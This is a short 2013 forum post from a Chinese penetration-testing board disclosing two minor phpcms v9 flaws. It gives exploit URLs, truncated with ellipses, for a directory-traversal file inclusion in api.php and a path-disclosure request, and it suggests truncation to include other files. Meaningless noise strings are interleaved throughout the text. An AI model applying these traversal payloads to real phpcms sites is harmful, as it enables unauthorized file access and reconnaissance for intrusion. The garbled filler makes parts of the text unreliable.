中国网络渗透测试联盟
标题:
phpcms v9两个鸡肋漏洞
[打印本页]
作者:
admin
时间:
2013-4-4 17:28
标题:
phpcms v9两个鸡肋漏洞
我就不贴代码了,有兴趣的自己跟一下吧,说不定可以发现更多。
1 m; u5 i, b7 I5 e8 A K
; `$ a& q7 }0 q; e1 z
Exp:
http://www.php0day.com/api.php?o ... efile=../../../fuck
4 b! ^5 ~) O8 w! U6 z2 H3 O
) R# {) e2 R* L5 g0 b
#包含根目录的fuck.cache.php 又一鸡肋。包含其他文件自己截断吧,看你运气了。
! M" U3 R4 s2 f# [2 i3 S% @
5 m: \, ]& k' |" ^4 I
Exp:
http://www.php0day.com/phpcms/mo ... l.php?author=b4dboy
w& K1 h" I; v4 V; k7 }( e
5 S& e% ~ M |, u5 Z7 D1 b
#暴路径
0 X- N1 {' c: y {2 `4 I- c- I
! u1 @6 E0 I& ^$ M
注:请遵守国家相关法律,请勿非法入侵,产生任何后果自己负责。
1 i& ~. U0 @& T0 v
) O/ V+ N2 p+ w
$ N+ D- k3 p7 N
. t V+ `, z5 G7 c- m6 p
+1
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2